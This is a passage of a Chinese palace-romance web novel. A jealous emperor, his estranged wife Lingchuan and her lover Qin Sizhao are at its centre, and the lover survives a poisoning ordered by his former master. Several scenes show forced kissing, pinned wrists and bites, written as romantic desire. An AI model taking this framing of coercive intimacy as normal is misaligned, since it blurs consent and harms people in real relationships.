“当真是意外,你放心,没人在后面推我。” 泠川叹了口气。 他仔仔细细看她的眼神,觉得她确实不像是在说假话,顾时便不着痕迹地松了口气。 泠川又不是那种因为别人对她好,她出于愧疚就会爱上对方的女人。他觉得她这番说辞也大致能说得过去。 屋子里窜进来了一只黄鼠狼,赶出去就是,用不着因为这么一点小插曲就毁掉整个屋子,泠川还愿意和他在一起,愿意给他生孩子已经很不错了,他应该大度一些。 他的袖笼里银光一闪,顾时睁大眼睛,得意地笑了起来,献宝似的看着泠川。 “你猜猜看,我袖子里的是什么?” 等不及泠川发话,他便迫不及待地把那支银簪掏了出来,双手递到泠川的手上。 “是我娘送我的簪刀……” 泠川苍白的脸上总算是有了一点点喜色,看着这银闪闪的簪刀,她心底却升起了一种负罪感…… 顾时欣慰地看着她,她总算是肯从床上下来,对着镜子,用颤抖的手指把那根簪子重新插回头上。 她瞥见自己右边的眉毛糊了,便用玫瑰水把帕子打湿,轻轻把眉上的青黛尽数卸了下去。 妆容尽褪后,泠川恍然地看着镜子里憔悴的自己,她尖尖的内眼角向下勾着,双眼尽显冷意,眼皮却又因哭泣红肿了起来。 她的眉,是为秦思昭而画的。 肩头一热,是顾时站在她的后面,把双手搭在了她的肩上。 “泠川,咱们今晚一起睡吧。” 他把下巴搭在她的脖颈上,黏糊糊地邀请着她。 “医生不是说了吗?这一年都不能同房,麻烦您用手解决吧。” 泠川心情不快,把脸撇到了一边。 “我不是说这个!一起睡就是一起睡而已,我又不干别的。” 顾时蹙眉,不满地反驳道。 “泠川,你怎么总是这样想我?在你眼里我就只知道下半身那档子事吗?你觉得我控制不住自己?” 他掏出一张干净的手帕,随手把玫瑰水倒在上面,打湿了,一只手捏住泠川的下巴,另一只手用力地去擦拭她的嘴唇,冷笑道: “哼,你以为我不知道你们两个干了什么?我无非是看你病得可怜,他横竖也灭不过我的次序去,便睁一只眼闭一只眼罢了,真当我是傻子么?” 泠川皱着眉,把他的手推开,可她却不知,自己刚刚哭过,不施粉黛的样子,在顾时眼中却甚是楚楚可怜。 他真恨泠川不是为他而哭,撩开她的头发,咬了一口她的脖子解气。 顾时闻到了她身上微弱的香气,他确实是素得有些久,这香气像小猫伸出毛茸茸的爪子在他心底挠了两爪,一下把他的火给勾了起来。 他对她既渴求,又愤怒,直接单手扣住她的双腕,把她按在了梳妆柜上。 镜子里映出了一双被欲|望支配的眼睛。 他强行捏着她的下巴,撬开她的牙关,跟她接吻,他的舌头在她口中肆意地掠夺着,如同在标记属于自己的领地。 她苍白的唇被吻得红肿起来,强行把她亏虚的气血尽数调动,泠川微不可闻地横了两声,却结结实实地落在了顾时的耳朵里。 她病气凹陷的面颊偏偏飞上了一丝潮红,唇也被吻得水光莹莹。 “泠川……” 他看着她的唇,实在是难耐,结结实实地在上面咬了一口。 “猜猜看,我要干什么?” 第70章 她的小腿内侧感受到了清楚的,顾时腿骨的形状,这是一个极具侵略性的姿势。 通常来讲,这种姿势只会释放一种信号。 泠川闭上眼睛,等着顾时把手探入她的衣襟,但却没有等到,他的动作尚且有些克制,只是揽着她的后背,与她接吻。 他不停地亲吻她,亲吻她的脖子,纠缠了不知多久。 翻转腾挪一阵,泠川的中衣已经松松垮垮地落下来,挂在腰带上。 终于,顾时放开了她。 她转身看着镜子,她的面颊已经红润到皮肤最外层透着一层水光,嘴唇外侧落了个牙印,隐隐约约渗着血。 不仅脖子上多了好几个红印,就连肋骨的皮肤上全是红痕……腰侧被顾时没轻没重地掐了个青印子出来。 她觉得口干舌燥,拿起一杯茶水喝了起来,手一抖,茶水洒在了衣裙上。 她低头一看,瞬间气得面色涨红,伸出手扬起一个好端端摆在梳妆台上的琉璃摆件便要摔。 “顾时!你怎么把我的裙子都弄脏了!不要脸!” 顾时冷笑。 “无非是听了你的罢了。” 她气恼道: “我何时叫你做过这种事!” 她的裙上不仅是那片濡湿了的茶水,还有一片不该出现在那里的白色污渍。 泠川咬着牙,皱着眉,掏出手帕,去擦自己裙子上那一片黏腻污秽。 她双目圆瞪,骂道: “顾时,你恶心不恶心啊!” 顾时冷笑道: “难道不是你刚才叫我自己用手?不过是听了你的罢了,你至于气成这样吗……怎么?弄在裙子外面就恶心,那弄在里面就不恶心了?你矫情什么?” 他冷着脸去给泠川拿了一套全新的中衣。 “赶紧把新的衣裳换上吧。” 他看着泠川一边气恼,一边手忙脚乱地换衣服的样子,她背对着他,几道肚兜上的橘红色丝线如同蛛丝一般,把光滑苍白的背分割开。 顾时心底反倒升起一种把她弄脏掉的快意。 虽说顾时到底还是收着力气,克制住了自己,没真对她做什么,可泠川现在体虚,还是被他折腾得不轻。 顾时过去,亲了亲她的脸颊以示安抚,伸出手伺候她穿好中衣。 她肚兜上的一抹红,可真是一览无余,看得顾时又是一阵燥渴。 “你说你那个小情夫,知道咱们这样吗?” 顾时嘲讽道。 啪—— 一个耳光不偏不倚地甩到了顾时脸上,她身体虚弱*,又被折腾得不轻,这一巴掌倒是没什么力气,打在顾时脸上实在是不痛不痒。 “滚!” 泠川没说一个多余的字,闷头躺在了床上,伸手拉起了帷帐——显然,这里不欢迎顾时进来。 顾时看着她摆出了一副拒绝的姿态,他眼神死死盯着帷帐缝隙里,泠川无意中露出的一小片皮肤。 这可真是破天荒第一遭……他一个丈夫因妻子不忠而气愤,反倒成了需要被她处罚的过错。 他不能再这么纵容下去,他得让她有点教训。 “咳咳……咳咳咳……” 可是听到她痛苦不堪的咳嗽声,顾时猛地想到她到了现在还没吃东西,恐怕身子要遭不住的。 他从桌上端起了一碗银耳雪梨羹,撩开帷帐,坐在了她的身旁。 “这个是润喉的,泠川,你先把这个喝了吧……” 泠川似乎是生了他的气,把脸撇到一旁,不肯理他。 “我错了,不该惹你……我也是一时心急才会那样……我给你道歉,你赶紧吃点东西吧。” 明明是她先对他不忠,可为何道歉的人却是他? 顾时心中明明还气恼着,可却不争气地跪了。 泠川见他一副别扭的样子,索性把那碗银耳雪梨羹接过来喝了。 又粘又滑,还一股子甜味,泠川觉得这种口感有些恶心,但雪梨的清香让这种恶心感尚在接受范围内。 但实在是不太喝的惯…… 说实话,有些福气她真享受不起,什么鱼翅,燕窝,银耳,花胶,她全都吃不习惯。 她把空碗递给顾时,牵强地笑了笑。 顾时如同松了口气一般,她总算是肯吃东西了。 “这儿还有点心,你想不想再吃点?” “不必了。” 泠川叹了口气,用茶水漱了漱口,便躺下。 “别打扰我,我要休息了。” “我能上去吗?” 他小心翼翼地问道。 泠川看了看他,长了挺高的个子,肩膀也宽,却半蹲半跪在她的床边,眉眼耷拉下来,一副卑微讨好的样子,只好无奈地点了点头。 她把位置让了出来,示意顾时上来。 他像是得到了主人许可上床的大狗一般,兴奋地吻了吻她的手。 顾时把自己的下巴搭在泠川的脖颈处,亲热地抱着她……却也不敢太过亲热,生怕自己骨架的重量压坏了她。 “顾时,怎么手还不老实?” 泠川拧着眉毛骂道。 被她一凶,顾时又讷讷地把手从她的肚兜下面收了回来。 他虽然嘴上道了歉,可心底并不后悔,甚至还暗暗庆幸。幸好刚才他解决了一次,不然他和泠川躺在一张床上,非得闹出什么乱子不可…… “都说了,给我老实点,不要打搅我。” 泠川翻了个身,背对着顾时。 顾时无非也就是因为吃醋而发了一通疯,可看见他明明心底吃醋,却还是小心翼翼地讨好她时,泠川心里说不上是什么滋味。 想来想去,泠川索性把他抛到脑后。 去他的!他爱怎么样就怎么样,就算他再卑微,她也懒得伺候! 世界上又没有一个人自作主张地对她好,她就一定要回报的道理,更何况原本她就不怎么情愿和他结婚。 想到这里,她便用手背抹了一把脸上的泪,她无端觉得自己失去了对抗到底的勇气,开始感到害怕了。 她以为自己能依靠疲惫入睡,可是不行。 今夜窗外的月光怎得那般的亮,晃得她无法在顾时身边安然入睡。 她闭上眼睛,越发觉得这月光刺眼,即使偶被云彩挡住,那对月光的记忆也会刺得她睡不着。 “顾时……顾时……” 她伸出一根手指,对着他猛地一戳。 “怎么?” 他的声音格外清明,泠川才恍然发现,他也没睡着。 “快去把窗帘拉上,这月亮太刺眼,晃得我睡不着。” 顾时闷声闷气地说道: “你说的是哪个月亮?” 泠川哑然失笑,伸出手去,不轻不重地在他脸上拍了一下。 “那你去给我倒杯安神的茶来。” “你使唤我是越发的顺手了……” 他撇了撇嘴,叹了口气,最后还是老老实实地下了床去拉上窗帘,只是毕竟他心里有气,手上动作重了一些。又把衣服披上,出门问守夜的下人去要安神茶。 过了一会儿,下人打着哈欠端着两杯安神茶来,顾时撩开半透明的帷帐,泠川已经在床上睡着了。 她看起来睡得不太舒服似的,眉毛皱在了一起。 他想伸出手去把她的眉心抚平,却怕惊扰到她,又把手收了回来。 他看着她,不禁想着,她究竟梦到什么了,才睡得这般难受。 两杯安神茶最后全被他一人喝了,喝完了之后腹部微涨,人也昏昏沉沉,直挺挺地睡了过去,一个梦都没做。 第二天早上起来,顾时莫名其妙觉得自己睡得很累,就像被人猛击了后脑,晕过去了一般。 泠川还睡着,她枕着他的袖子,手拽着他的头发,脸上的表情倒是看起来舒缓了些。 他轻轻抚摸了一下她的脸,宽慰着自己。 他喜欢的女人,别人也喜欢,这件事本就很正常,反正现在都已经结束了,泠川只可能是他的,这件事不会变,他不该再给她施压。 毕竟泠川的身体能恢复过来已经很顽强了。 泠川醒来后,已经是接近中午。 金盏走了进来,看着她,露出一个怪异的笑容,又硬生生地把这笑憋了回去,表情十分难看。 泠川皱起眉,心想这金盏又要拿她打趣,心中甚是不快,索性端起了主子的架子,说道: “琮翠殿没人喜欢嚼舌根吧。” “咳咳……咳咳咳……” 金盏连续清着嗓子,满脸涨得通红。 天杀的,鬼知道她憋了多久!知道这种惊天八卦却只能三缄其口,简直像是老天爷发现她最近过得太滋润而给她的惩罚。 泠川那点偷汉子的八卦简直是碰都不能碰的话题,金盏索性换了个话头。 她强行憋着笑说道: “姑娘,今天中午的菜色跟以往的不太一样,还请姑娘不要嫌弃,赏个脸都吃了吧。” 泠川纳闷地看着金盏,这金盏怎么突然跟她说起了午饭的事儿? 而且她脸上还挂着一副似绷非绷的笑容,就跟看到了什么惊天大笑话,又偏偏不敢笑出声来似的。 可到了午饭的时候,泠川便一下知道了金盏今日是为什么神色古怪,实在没忍住一下子笑出了声,一只手捂着肚子,另一只手握成拳头,不停地锤着桌子。 顾时走进来的时候,眉头皱得紧紧地,脸上的神色也很复杂,既有厌烦,又有尴尬局促,甚至他的脸上还沾着面粉。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 金盏站在门口,探头探脑地往屋里瞥,稍微瞥见一眼,就又立马把头缩了回去,一副既想看热闹,又不敢多看的样子。 她捂住嘴在门口偷笑,肩膀不停颤抖着,整个人差点抖成个筛子。 “不能笑,不能笑!” 她一边小声叨咕着,一边轻轻扇自己耳光。 顾时伸出骨节分明,从未干过杂活的手,有些别扭地把一个碗放在了桌子上,抿了抿嘴角,不敢看泠川的眼睛,露出一副局促的表情。 “午饭,吃了吧。” 他只从牙缝里挤出来这样一句话。 泠川强行忍住笑意,可眼睛还是笑盈盈的。 她端过碗来,用筷子一夹,低头一看,里面全是粗细长短不一的面条。 倒是也不嫌弃,直接吃了一口,一半面条熟过头了,另一半面条夹生。 “还行……” 她拿顾时的窘迫当面条的浇头,一口一口全都吃了。 反正就是一碗面条,调味也没什么可复杂的,吃便吃了吧,给顾时一个面子。 就是醋加的多了些,忍一忍,也能吃得下去,吃完了也照样能饱。 “今日的厨房师傅换了个人,菜肴也有些不一样,你将就着吃吧。” 顾时死鸭子嘴硬,说什么都不想承认这碗面是自己做的,就像是自己丢了大人似的。 泠川看着他脸上的面粉,憋着笑说道: “嗯,看出来了,确实是换了个厨子。” “你看什么看,不是我做的!” 泠川嘲笑揶揄的双眼,让顾时没忍住直接不打自招。 她伸出一根手指,指了指他的侧脸,笑道: “你脸上还沾着面粉呢。” 顾时一下闹了个大红脸,走到镜子前面,仔仔细细看着自己的脸。 侧颊确实是沾着一片面粉,他今日真是在众人面前都把脸给丢尽了。 他伸手把脸上的面粉擦掉,往后宫里人人都要知道他惧内……真是让他烦躁不堪。 “泠川,你不要胡说,不是我做的。” “我没说是你做的呀……不过手擀面确实不太容易,新手做不成也很正常,倒是扯面容易做些,我也会做,你想吃吗?” 顾时没想到泠川的声音变得如此优美又甜润,像一位贤良的妻子一样安抚着他。他刚满心欢喜地想答应下来,可转念一想还是算了。 他低声说道: “厨房油烟大,又热腾腾的,你还是别进了。” 此话不假,泠川这才注意到他额头出了一层汗,便站起来用手绢给他细细地擦了。 “我叫人去准备洗澡水,你去冲个澡吧。” 顾时的眼睛里忽然闪起复杂的神色,他只瞥了她一眼,便低下头说: “我还以为……你要冷落我一阵子呢。” 只是冷落他一阵子还算好的……是他生生拆散了她原本的姻缘,她不半夜悄悄把他弄死解恨就不错了。 可是她对他并没有表现出有什么抗拒,怨恨,憎恶,一切都一如既往,甚至她比之前还要温和,就像他们真的只是一对平凡且相爱的夫妻一般。 顾时只觉得反常。 他不停告诉自己,这一切都是泡沫似的假象。 他自己心里最清楚自己对她做了什么,泠川无非也只是识时务罢了,她怕他计较起来对秦思昭不利,才压着自己的性子来哄他。 泠川牵动嘴角,露出一个苦笑说道: “那样有什么意义呢……对我而言也没有任何好处,不是吗?” 她用预制好的温和语气,支配着一字一句把这句话说了出来,她的心中既苦涩,又觉得无可奈何。 和顾时斗气对于她来说确实没有任何意义,她无非也只能将就着和他过下去,不管她是闹脾气还是平静相待,生活都不会有任何变化。 秦思昭一走,她忽然觉得想通了,反正也是活一天算一天,就先这么凑合着过吧。 她伸手推了推顾时的后背, “快去洗澡。” 他只听了她的去洗澡,并未对她有什么过分的纠缠。 泠川肚子坐在床上,垂下眼帘,伸手摸了摸自己的小腹,看着桌子上的空碗,想利用胎儿算计报复顾时的心思莫名其妙地少了大半。 她是不是应该跟顾时坐下来好好谈谈,说清楚她不想要这个孩子,达成一致之后再把这个胎儿堕掉…… 他会因为她不想要,就轻轻松松地同意吗? 他是全世界最期待这个孩子出生的人了。 她皱着眉低下头去,想起顾时还命人做了许多小孩子的东西……什么样式的都有,全都放在抽屉里好好存着。 他也不像是很热衷于传宗接代的样子,为什么会想要这个孩子呢?泠川想不明白。 也许她应该多跟顾时主动交流一些事,这样才能避免两个人之间总是发生一些不必要的误会。 想起之前她和顾时之间的种种误会,她的内心一下子萌发了一种成熟的悲伤。 她想,她其实很少主动和顾时聊天,也很少向顾时表达自己的感受,她总是用一些过激的方式去达成目的。 她也有不成熟的地方……泠川少见地扶了扶额头,开始认真反省自己。 反省结束后,泠川只感到无能为力,毕竟人生中总是有一些因不成熟而感到遗憾的事,过去的错误都是不可避免的。 到底什么是对的,什么是错的,泠川忽然觉得自己不知道了,被奇怪的命运给绕迷糊了,只能将就着过下去,不把事情想得那么清楚。 她拔下头上的簪刀,拿在手上,仔细检查观赏了一番,细细看着它的每一个角落,像是回到童年去做了一番不可实现的遨游。 她忍不住想,秦思昭现在是身处何方?心中又是怎样想她的呢? 他走得那般着急,是不是急匆匆地帮她去处理假死药的事了呢…… 他最好是一走了之,彻底把她忘了吧,就算事情败露,她一人担了便是。 … 青剂堂的门内满是辛辣的药气,医者药师集聚于此,日日夜夜,不眠不休,只为了研究最刁钻古怪的方剂。 为首的青剂堂堂主真名不详,大家都叫他乌头师父,他脸上的褶子不多,肉却沉甸甸地垂坠了下来,看起来不阴不阳,不男不女。 他一张口,说话的声音,腔调都稀奇古怪,尾音简直要转个山路十八弯,怎么看都不像正经八百的中年男人。 相传他是个在多年前就放出宫外的阉人,有关于他的谣言那是越传越离谱,有人传他是宫内的娈宠,有人传他把几位皇室成员都在娘胎里毒成了畸形…… 有人说他已经六十多岁,有人说他只有三十多岁,总之,没人知道他的底细,只知道他一手刁钻古怪的方剂是配得出神入化,人人见了他都得尊称一句师父。 他高高在上地坐在椅子上,身穿红色长袍,胸前绣着一只白色的怪鸟,说鸡不是鸡,说鸭不是鸭。 秦思昭挺直腰板,直直地跪在他面前,动作没有一丁点迟疑。 “师父,弟子有一事相求。” 乌头师父不紧不慢,只吹了吹,掸了掸手中烟斗里的烟灰,不阴不阳地开口: “哼……这时候倒想起我来啦?你小子还有脸叫我师父?我看你是个用人朝前,不用人朝后的狗崽子。” “弟子不孝。” 秦思昭对着他深深地磕了一头,额头砰地一声撞击在地面上。 乌头师父看着他恭顺的样子,气得脸色青一阵白一阵,眼睛里似有刀剑交锋,噼噼啪啪,火星子乱溅,那火星子简直要溅到他的脸上,烫起几个大燎泡。 可秦思昭却依旧是恭敬,谦和,冷静的样子。 他抬起手,高高地扬起烟斗,干脆利索地丢在他的脸上,直接给他的脸烫起了一个货真价实的燎泡。 “还请师父将那枚假死药销毁,换上一枚气味相似的丸药送回去,弟子此生愿效犬马之劳。” 秦思昭谦和温顺地跪在地上,双手高高抬过头顶,给乌头师父递上烟斗。 乌头师父并未接过烟斗,只是一味冷笑,细细地打量着秦思昭。 他可真是长着一张最温润的脸,干着最不怕死的事,用最恭敬的语气,说着最胆大包天的话。 自己本以为他是个可造之材,可竟看走眼了一回! 他咬牙切齿,恨铁不成钢地扬起了手要给他一个耳光,可手刚扬起了,他又放下了。 只打他一个耳光,恐怕是太便宜了这个畜生! 他换上一副阴险的冷笑,把手背在身后站了起来,迈着四方的步子。 “秦思昭……真是我的好徒儿啊……师父也不白疼你一回……” 他走到药柜前面,掏出几瓶漆黑腥臭的药汁子,塞子一拔开,满屋尽是腥苦之气。 乌头师父当着秦思昭的面,把几种药汁子混进了一个茶缸里,瞬间激发出一种辛辣刺鼻的气味,秦思昭却不敢多皱一下眉头,只维持着那副恭敬的假面。 他鼓起两个眼睛,就像一只癞蛤蟆成精了似的,张开口桀桀阴笑着说: “你坑害师父数次,今日便为师父试一回药,也算尽了你徒弟的本分,不白做一回师徒。” 他双手把那茶缸塞到秦思昭手里,阴恻恻地盯着他。 第72章 秦思昭毫不犹豫地将那一茶缸的药尽数喝了下去,乌头师父的脸上只挂着那种阴恻恻的冷笑,两只眼睛如同癞蛤蟆一般鼓起来,看着他。 “原本为师看你家贫,又无依无靠,人也聪明勤快,便愿意收你为徒,结果你从我这儿拿了两年月钱,便一声不吭地去科举,入朝为官。” “也罢,看你中了状元,前途无量,为师也高兴,本以为你是功成名就了回来看为师,结果你却是给我灌醉了,只为了偷看那假死药的配方!” “罢了……罢了……真想偷师也就罢了……” 乌头师父气得直直吐出一口血来,那血剑窜出了一尺之远,啪得一声落在地上。 “可你费尽周章,竟然是为了一个女人!一个有夫之妇!皇帝的女人!你小子怕不是疯了不成?” 他擦一擦嘴角的血,又换上那副阴森森的面容。 “这是我精心配置的剧毒,毒发而亡总比事情败露后,被皇上千刀万剐了强。” “秦思昭啊秦思昭,这是为师给你的最后一课,你若是无法在三炷香的时间内调配出解药,你就去死吧!若是能调配得出来,你便出师啦。” 秦思昭捂着胸口,不停地往外呕出血来,他用全身力气从地上爬起来,忍着蚀骨的疼痛。 他先是去拿了两样催吐的药,拧紧了眉头,憋着气把药咽了下去,直接把刚才喝下的药连带着血一起呕出了大半。 呕出来后,他便精神好了些,冷静地开始在自己脑中检索着。 药有君臣佐使,恐怕这药里最毒的“君”便是乌头。 乌头师父冷笑着看着秦思昭拖着病弱的残躯在药架上下搜索着。 他不可能活下来。 他根本就没在药架上放解药。 乌头师父忽然瞪大了双眼,秦思昭他竟然用了另一味剧毒的药材! 他是想干什么?以毒攻毒?还是嫌自己死得不够快? 秦思昭撑着最后一口气,走到屏风后面,快速地脱掉了全部衣服,开始自己给自己施针。 “就算你使得鬼门十三针,也救不活自己。” 乌头师父站在屏风的另一侧,刻薄地说道。 “我早就已经把假死药一事报告上去了,为师再也不想给你收拾烂摊子了!你就算活下来,也得等着被凌迟,师父赐你毒药是疼你。” “咳咳咳……” 此话一出,秦思昭像是丧失了求生意志一般,拼命地咳嗽了起来。 乌黑色的血不停地从胃里涌上来,呛进他的口鼻。 他瘫倒在了地上,如同死尸一般。 “哼,我看你还是死了吧……” 乌头师父冷笑。 “不……我……我不能死……” 一个微弱的声音从碧绿屏风后面传来,秦思昭呼吸急促,没有放弃,用全身力气继续给自己施针。 他的手臂弯成一个奇怪的形状,在针刺自己的脊背。 他把针的一头刺进自己的指腹,又发狠生生把手臂掰断,用另一只手控制着那只脱臼的手,给自己苍白的脊背施针。 乌头师父见状气急败坏: “此毒乃锥心之痛,其痛苦甚至胜过妇女生产,如此不体面,你为何非要苟延残喘?” 他只答: “我的命能换她的命。” “死到临头还不悔改!你快点去死吧!” 乌头师父彻底气急败坏,头发散乱下来,状若疯癫。 “阿弥陀佛我是个阉人,真真的六根清净,才能平心静气地研究药理。我看你全是那孽根惹出来的祸害!我真该阉了你,让你清醒清醒!彻底冷静冷静!” 血已经彻底浸透了他的前襟,秦思昭几乎没了人形,如同一个断了线的人偶一般,摇摇摆摆地站了起来。 他靠在墙上,能动的手握住脱臼的那只手,使劲一顶,把脱臼的手臂复位。 “你这正骨的功夫倒是不错。” 乌头师父的脸上似乎开了个大染缸一般,青一阵白一阵。 “我解开了。” 秦思昭吐了吐口中的血沫子,双眼充血地看着乌头师父。 他给秦思昭把脉,面色变了几变,哄然大笑。 “哈哈哈哈哈哈哈,你小子……不过是暂时用另一种毒把这种毒压制住了而已,最多就只能撑一年,最后还是要尘归尘,土归土……我的毒可没那么容易解开。” “一年就足够了……” 秦思昭无奈地摇了摇头。 “哼,正好你是我这毒的第一个实验品,便留在这里给我试药吧,也算是替陛下行刑了。” 他虚弱地吐出最后一口黑血,侧歪到地,双眼发虚坐在地上,发出微弱的声音: “师父请便。” “哼,像条死狗一样,肖想着皇上的女人,她在宫中要什么没有,享不尽的荣华富贵,天天地如鱼得水颠鸾凤,能看得上你这个死德行?” “她爱我……” 乌头师父气得跳脚,披头散发,状若疯癫。 “呸!什么爱不爱!死不悔改!我看你就是想女人想疯了!把主意打到天家头上去了!胆敢和皇帝老儿的女人偷情!真应该一刀子捅破你的肚子!一棍子打断你的三条腿!回头下点药给你弄成个不举,叫你再肖想那些不该想的!” 他破口大骂后,猛地摇了摇头,打绺子的杂乱黑发甩在了一起。 “你这小子……没救啦……没救啦……赶紧去死吧……” 秦思昭不语,只擦了擦嘴角的血。 若是他真变成了个阉人,是不是就能光明正大地陪在她身边了呢? 想想似乎也挺不错的。 ……………… 琮翠殿内,泠川正对着镜子蹙眉,若是她这些日子待顾时亲热一些,秦思昭是不是就安全一点? 从前她对顾时好,只因为她喜欢他,若是对他不好,也只因为他惹恼了她。 她甚至都对着顾时撒不得谎,她如此的单纯,纯粹,就像一杯透明见底的白水,拿起来随手便能尽数喝进肚里。 所以顾时也从不怜惜,拿起便尽数喝了,喝了六年,倒是解渴。 可她现在已经学会撒谎了,她对顾时的感情竟然也已经变得不纯粹了,她不再因纯粹的喜好去对待顾时,而是换上了一副预制好的脉脉温情。 也怪不得他要醋得发疯。 可是她心里有了别人后,顾时反而开始珍惜她,讨好她了。 真是个贱骨头。 泠川的内疚尽数平息了之后,随即又沉浸在有秦思昭作伴的回忆之中。 金盏的敲门声打断了泠川的回忆。 “姑娘,外面说是有急事要通传陛下。” 她的声音先是放慢了,随后又加快,恨不得一口气把所有话全倒出来似的。 一会儿看看左,一会儿看看右,表情十分犹豫。 泠川发现她生了点皱纹,心中忽然升起一种不好的预感。 “有什么急事非要现在说,要不回头再说吧” “这……恐怕得陛下来拿主意,您是说了不算的。” “那你先出去,回头我再告诉他,他现在去沐浴了,不太方便吧。” 金盏转过身,悄悄翻了个白眼,这个泠川连她都要放着,可真护食,怪不得这么多年顾时连通房丫头都没有一个,可真是惧内。 “真的是要紧的急事,您快点去催催陛下吧。” “是什么急事?是政事上的,还是私务上的?” 她装作一副关心的样子,揣着手,像个贤明的皇后一般落落大方地问道。 “这……恐怕我是不太好跟您说……还是麻烦您赶紧去浴室里催一催陛下吧……” 金盏真是左右为难。 泠川叹了一口气, “好吧,那我去催一催他便是了。” 她脱了繁复的外衣,卸下了头上的珠翠,只穿着中衣走进了浴室。 顾时正独自泡在浴池里,露出宽阔结实的背部,修长如仙鹤的后颈。 他的黑发已经尽数湿了,披散下来。 本身浴池里的蒸汽就让空气变得稀薄,这浴池里的香气更是熏得泠川的头一阵一阵地晕,他究竟是怎么待在这种浴室里洗澡的,就不怕忽然窒息,晕倒过去吗? 她只怕那要紧事与假死药有关,便有意拖延一阵子。 “泠川。” 顾时看到她只穿着一身中衣进来,瞬间瞪大了双眼。 “怎么?看到我很意外吗,难道你的浴池里还有别的女人也能进?” 她勾着顾时的脖子,故意眯起眼睛来,当真是媚眼如丝。 顾时因她的无理取闹而皱紧了眉,又不禁伸手去摸她的脸颊,迷恋地看着她。 “你明知道没有,故意刺我。” “来亲一下。” 泠川主动跟顾时接吻。 她柔情款款地把自己的双唇覆盖在了他的唇上,又故意松开了牙关,方便他把舌头侵入她的口腔之中。 他自然没有任何拒绝的可能,他身上的水珠把她身前的一片衣物都浸湿了,中衣变得半透明,露出橘红色的肚兜。 “最喜欢你。” 一吻结束,泠川趴在他的耳畔,用轻飘飘的嗓音说道。 她的声音既轻柔,又甜媚,就像一直小猫在他心底挠痒痒似的。 “别来勾我,我会忍不住。” 顾时的脸彻底涨红,把手指插进她乌黑的发丝,狠狠地………… 第73章 他狠狠地咬了她的脖子,在她的脖颈上留下一个清晰的牙印。 痛感从脖颈上清晰地传了上来,泠川却不敢露出半分不悦的神色,只收紧了手臂,用更加炽热的力度,紧紧抱着他。 顾时吻着她,理智全失,只一味沉浸在这个吻中,泠川把手轻轻搭在他的后背上,却越发地冷静,满脑子皆是利害,丝毫没有半点情欲。 她略带怜悯地看着顾时,觉得气氛差不多到位了,便搂着他的脖子,用轻柔的嗓音在他耳畔说道: “我之前犯下的错就一笔勾销了吧,别怪我好不好。” 顾时忽然眼神一暗,情欲尽数消散,直接推开了她环在他脖子上的手,转过身去,只背对着她,声音微微颤抖。 “我又何时真心责怪过你呢……你为何要这样说……” 泠川哑然坐在浴池边上,她身上那层中衣已经尽数湿了,可有可无地搭在了身上,她把脚伸进了浴池里,一声不吭地看着他。 他回头瞥了泠川一眼,无可奈何的揉了揉自己的头发,声音里尽是惆怅。 “我都已经对你宽限到了这个地步,你到底还有什么不满意,还说什么一笔勾销的话?” 她默默不语……他尚且不知她策划过更疯狂大胆的出逃,更不知她竟然盘算着要利用腹中胎儿来算计他。 泠川沉默了一会儿。 她拿来了一块毯子,轻轻地帮他擦干了头发的水。她深知假死药一事已经触及了顾时的底线,他不可能再那样轻而易举地原谅她。 “我心里是爱你的。” 她轻轻说道。 曾经她是那样真心地爱着顾时,对着他都说不出半点假话,连说一句不爱都要痛苦地咳嗽半天,他总是能有意无意地引起她的喜怒哀乐。 可她偏偏那时对他也说不出半个爱字来,只是一味如作茧自缚一般,自虐式地爱着他,所有痛苦都留给自己一个人消化。 可现在,她说起爱字信手拈来,可顾时却再也牵动不了她的心了,她变得对顾时的眼泪无动于衷,对他幻景一般的讨好毫不在乎,又对和他相关的一切变故泰然处之。 她是已经不爱他了吗? 泠川心情复杂。 犹豫了半晌,她终于开口: “金盏跟我说,外面有人找你,说是有急事。” “是政务上的事吗?” “不知道,金盏说,不方便跟我说。” “那就不着急。” 顾时不耐烦地回答了一句。 他的半个身子都靠在泠川的身上,看着她神色不明的眼睛说道: “泠川,你还是出去一下吧,毕竟光天白日的,我不大好意思当着你的面□□。” “好。” 随手把毯子丢到一边的架子上,泠川便心情忐忑地离开了浴室。 顾时换好了中衣出来,泠川殷勤地给他穿好了外套,又在他的脸上轻轻亲吻了一下。 她微微蹙眉,作出一副愧疚的样子,轻轻说道: “顾时,真心对不起,我一辈子都亏欠你的,我爱你。以后我再也不会想要离开你了……” 她想,只要她真心给他道歉,给他服个软,他应该会对她心软一些。 他们两个总不可能真的老死不相往来,她已经非常确定,顾时不可能接受失去她。 可是为什么她想要的总是来得太迟?若是他早就如此,她也不会像现在这般对他虚与委蛇。 她哀怨地看着他,想起自己这六年里的日日夜夜,究竟是谁爱得更深? 她到底还爱不爱他,她自己都觉得迷糊了,就像一朵花已经凋谢,枯萎,发黑,但还是一如既往地散发着迷人的香气,不知何时才会变成一团干枯,香气已尽的碎沫。 午后的日光映上窗户,泠川看着顾时离开的背影。 她忽然有很不好的预感,如果她不跟上去,*就会有不好的事情发生。 “且慢……” 她冲上去握住了顾时的手,见面三分情,只有她第一时间在场,至少还能有个狡辩的机会。 “顾时,让我跟你一起吧。” 他握紧了她的手,把她往自己身旁拉了一拉,问: “平常你对这些事全部避之不及,如今怎么反倒愿意陪我了?” 她故作委屈地说: “我就想知道知道,究竟是什么事我不方便听。” 顾时哑然失笑: “那你便一起来吧。” 泠川重新和顾时走进了那地下的暗室。 这次,她不再怕黑,只牵着顾时的手,平心静气地同他一起走着。 顾时想起那日他抱起泠川走进这幽暗的密道,她温热的双臂环着他的脖子向他索吻,她的身上是他最常用的那种熏香,她真真切切依赖着他的娇美神态。 “害怕吗?” 借着幽暗的火光,他柔情地看了泠川一眼。 “不怕。” 泠川摇了摇头,面色平静。 “这么黑,怎么会不怕呢?还是我来抱着你吧。” 他刚说完,就搂着泠川的腿弯和后背,把她打横抱起,让她把脸乖巧地贴在他的胸口上,闻着她发丝散发的淡淡香气。 她身上的香味一如既往的是他最常用的那种熏香,香气很淡,不知是什么时候沾染上的。 “死过一次的人了,还怕什么?” 泠川在他耳畔嘟囔道。 此言非虚,泠川确实觉得自己变了很多,也许是因为差点死了一回,也许是因为许多事叠加在了一起,她觉得自己简直不再是顾时认识的那个泠川了。 可顾时还是爱着她。 “顾时,你是从什么时候开始喜欢我的?” “很早之前。” 他亲吻了她的额头。 泠川笑了笑,做出高兴的样子,声音里却带了哀怨。 “可我为什么现在才知道呢……” 